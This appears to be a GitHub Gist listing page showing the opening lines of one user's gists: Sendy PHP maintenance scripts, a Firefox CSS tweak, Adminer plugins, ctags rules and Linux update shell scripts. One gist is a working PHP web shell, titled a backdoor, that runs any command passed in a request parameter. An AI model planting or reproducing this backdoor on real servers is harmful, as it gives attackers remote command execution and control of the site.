Skip to content

Instantly share code, notes, and snippets.

@Roy-Orbison
Roy-Orbison / duplicate-subscriptions.php
Last active October 22, 2018 23:08
Sendy duplicate subscription removal (tested with v3.0.3 and PHP v5.3.29)
<?php
include('includes/header.php');
include('includes/login/auth.php');
include('includes/subscribers/main.php');
include('includes/helpers/short.php');
#ini_set('error_reporting', E_ALL & ~E_NOTICE);
#ini_set('display_errors', 1);
$subscribers = $lists = array();
@Roy-Orbison
Roy-Orbison / delete-from-all-lists.php
Created September 13, 2017 08:03
Sendy bulk delete (tested with v3.0.3 and PHP v5.3.29)
<?php
#ini_set('error_reporting', E_ALL & ~E_NOTICE);
#ini_set('display_errors', 1);
if (isset($_POST['del'])) {
include('includes/functions.php');
include('includes/login/auth.php');
$emails_del_all = array();
@Roy-Orbison
Roy-Orbison / userChrome.css
Created November 23, 2017 03:09
A simple replacement for the "No Close Buttons" Firefox extension that stopped working in 57 (Quantum)
@namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul");
tab.tabbrowser-tab .tab-close-button {
display: none;
}
@Roy-Orbison
Roy-Orbison / index.php
Last active September 1, 2021 00:56
Adminer wrapper template for externally authenticated installations
<?php
function adminer_object() {
class YourClass extends Adminer {
protected $externals;
function __construct($externals) {
$this->externals = $externals;
}
<?php # Simple PHP Backdoor adapted from DK (One-Liner Version)
# Usage: https://target.com/unique-name-of-your-backdoor.php
<?php if (isset($_REQUEST['cmd'])) { echo '<style>html{height:100%}body{box-sizing:border-box;min-height:100%;margin:0;padding:1ex;background:#000;color:#eee}</style><pre><code>'; ob_start('htmlspecialchars'); system($_REQUEST['cmd']); echo ob_get_clean(), '</code></pre>'; exit; }
echo '<title>$</title><form action="', htmlspecialchars($_SERVER['REQUEST_URI']), '" method=post target=cmd_result><input name=cmd size=80> <input type=submit value=execute></form><hr><iframe name=cmd_result style="width:80em;height:30em">ready</iframe>';
@Roy-Orbison
Roy-Orbison / scss.ctags
Last active June 22, 2022 01:26 — forked from dreki/scss-rules-for-ctags
SCSS rules for universal ctags
# Copyright 2019 Roy-Orbison
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
@Roy-Orbison
Roy-Orbison / firefox-dev-edition-update
Last active May 17, 2022 18:06
Basic shell script to install && update Firefox Developer Edition on Linux (specifically Ubuntu)
#!/bin/bash
set -e
# Installation of this script:
# Delete one of the url variables below, or get another from
# https://www.mozilla.org/firefox/all/#product-desktop-developer
# by selecting your language and platform, then copying the link on the
# Download button.
#
url='https://download.mozilla.org/?product=firefox-devedition-latest-ssl&os=linux64&lang=en-US'
@Roy-Orbison
Roy-Orbison / thunderbird-latest-update
Last active January 19, 2021 05:12
Basic shell script to install && update the latest Thunderbird on Linux (specifically Ubuntu)
#!/bin/bash
set -e
# Installation of this script:
# Delete one of the url variables below, or get another from
# https://www.thunderbird.net/thunderbird/all/
# and substituting its version number with 'latest'
#
url='https://download.mozilla.org/?product=thunderbird-latest-SSL&os=linux64&lang=en-US'
url='https://download.mozilla.org/?product=thunderbird-latest-SSL&os=linux64&lang=en-GB'
@Roy-Orbison
Roy-Orbison / maestral-open-dropbox.sh
Last active October 10, 2023 06:36
Simple link from Dolphin file manager to file/folder on Dropbox.com using Maestral GUI under KDE. The .desktop file goes under `~/.local/share/kio/servicemenus/` and the script should be anywhere in your PATH, I used `~/.local/bin/`. Script depends on realpath, xdg-open, notify-send, and of course maestral.
#!/bin/bash
if maestral status | grep -qFi 'not running'; then
err='Maestral not running'
elif ! droot="`maestral config get path`"; then
err='Maestral not found'
elif ! real="`realpath -eLPq "$1"`"; then
err='Path does not exist'
elif [[ ${#real} -le ${#droot} || "${real:0:${#droot}}" != "$droot" ]]; then
err="The path $real is not below the Dropbox root directory $droot"
else
@Roy-Orbison
Roy-Orbison / import-from-dir.php
Last active May 21, 2023 09:08 — forked from joshcangit/folder-import.php
Import any .sql[.gz] file, from a specifiable directory, rather than only the default adminer.sql[.gz], with Adminer.
<?php
/**
* Import SQL files from a directory
*
* @author joshcangit, https://github.com/joshcangit
* @author Roy-Orbison, https://github.com/Roy-Orbison
*/
class AdminerImportFromDir {